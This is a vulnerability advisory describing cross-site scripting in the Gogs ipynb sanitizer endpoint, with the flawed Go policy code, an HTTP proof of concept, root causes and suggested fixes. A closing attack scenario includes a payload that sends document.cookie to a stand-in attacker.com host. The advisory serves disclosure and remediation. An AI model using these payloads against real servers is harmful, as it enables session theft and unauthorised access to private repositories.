CVE-2026-52816: Gogs: XSS via data URI in ipynb sanitizer endpoint

## Summary The Jupyter Notebook (ipynb) sanitizer endpoint at `POST /-/api/sanitize_ipynb` allows arbitrary `data:` URIs without proper restrictions, potentially leading to Cross-Site Scripting (XSS). The endpoint uses `bluemonday.UGCPolicy()` with `p.AllowURLSchemes("data")` which permits all data URI schemes including `data:text/html`, enabling attackers to inject malicious HTML/JavaScript. Additionally, the endpoint has no authentication middleware, allowing any registered user to exploit this vulnerability. ## Severity **High** ## Affected Versions All versions using the vulnerable endpoint ## Vulnerability Details - **CVE ID**: (To be assigned) - **Entry Point**: `POST /-/api/sanitize_ipynb` - **Attack Vector**: Network - **Authentication Required**: No (only needs a registered user account) ## Impact An attacker with a registered user account can: - Send malicious HTML containing `data:text/html` URIs to the sanitization endpoint - Receive sanitized but attacker-controlled HTML in the response - Execute arbitrary JavaScript in the attacker's browser context through XSS - Potentially exploit other users if the sanitized output is rendered in their context The vulnerability has higher severity because: 1. No authentication required (only needs a registered user account) 2. Unlike the safer pattern in `internal/markup/sanitizer.go:39` which uses `isSafeDataURI` to only allow safe image MIME types, this endpoint allows ALL data URIs including HTML 3. The returned HTML can be used to craft XSS attacks ## Proof of Concept Attacker sends a POST request to the sanitization endpoint: ```http POST /-/api/sanitize_ipynb HTTP/1.1 Host: target.gogs.instance Content-Type: text/plain <a href="data:text/html,<script>alert(document.cookie)</script>">click</a> ``` The server returns the sanitized HTML with the data URI preserved: ```html <a href="data:text/html,<script>alert(document.cookie)</script>">click</a> ``` When this HTML is rendered in a browser, the JavaScript within the data URI will execute, leading to XSS. ## Affected Component **File**: `internal/app/api.go:10-16` ```go func ipynbSanitizer() *bluemonday.Policy { p := bluemonday.UGCPolicy() p.AllowAttrs("class", "data-prompt-number").OnElements("div") p.AllowAttrs("class").OnElements("img") p.AllowURLSchemes("data") // <-- VULNERABLE: allows all data URIs return p } ``` **File**: `cmd/gogs/web.go:681-683` - No authentication middleware ```go m.Group("/-", func() { m.Get("/metrics", app.MetricsFilter(), promhttp.Handler()) m.Group("/api", func() { m.Post("/sanitize_ipynb", app.SanitizeIpynb()) // <-- No auth middleware }) }) ``` ## Root Cause 1. **Unrestricted data URI scheme**: The code at `internal/app/api.go:14` uses `p.AllowURLSchemes("data")` without any restriction, unlike the safer implementation in `internal/markup/sanitizer.go:39` which uses `AllowURLSchemeWithCustomPolicy("data", isSafeDataURI)` to only allow safe image MIME types. 2. **No authentication**: The endpoint at `cmd/gogs/web.go:682` does not have any authentication middleware applied, making it accessible to any registered user. 3. **Insufficient validation**: The sanitization only removes dangerous tags/attributes but preserves data URIs, allowing `data:text/html` payloads to pass through. ## Suggested Fix **Option 1**: Use the same safe pattern as `internal/markup/sanitizer.go` Replace `p.AllowURLSchemes("data")` with: ```go p.AllowURLSchemeWithCustomPolicy("data", isSafeDataURI) ``` Where `isSafeDataURI` is a function that only allows safe image MIME types (image/png, image/jpeg, image/gif, etc.). **Option 2**: Add authentication middleware Apply appropriate authentication to the endpoint: ```go m.Post("/sanitize_ipynb", middleware.signIn, app.SanitizeIpynb()) ``` **Option 3**: Disable data URI scheme entirely If data URIs are not required for ipynb sanitization: ```go // Remove this line entirely: // p.AllowURLSchemes("data") ```

An adversary with a basic Gogs account—obtained through open registration, credential stuffing, or phishing a developer—sends a POST to /-/api/sanitize_ipynb with the payload: <a href='data:text/html,<script>fetch("https://attacker.com/?"+btoa(document.cookie))</script>'>View Notebook Output</a>. The endpoint returns the HTML verbatim with the malicious data URI intact. The attacker embeds this 'sanitized' output into a shared notebook cell or issue comment visible to a data scientist or ML engineer. When the victim's browser renders it and they click the link, their Gogs session cookie is silently exfiltrated. The attacker now has authenticated access to all private repositories, including model code, training scripts, and any API secrets stored in notebooks, with no trace in normal auth logs.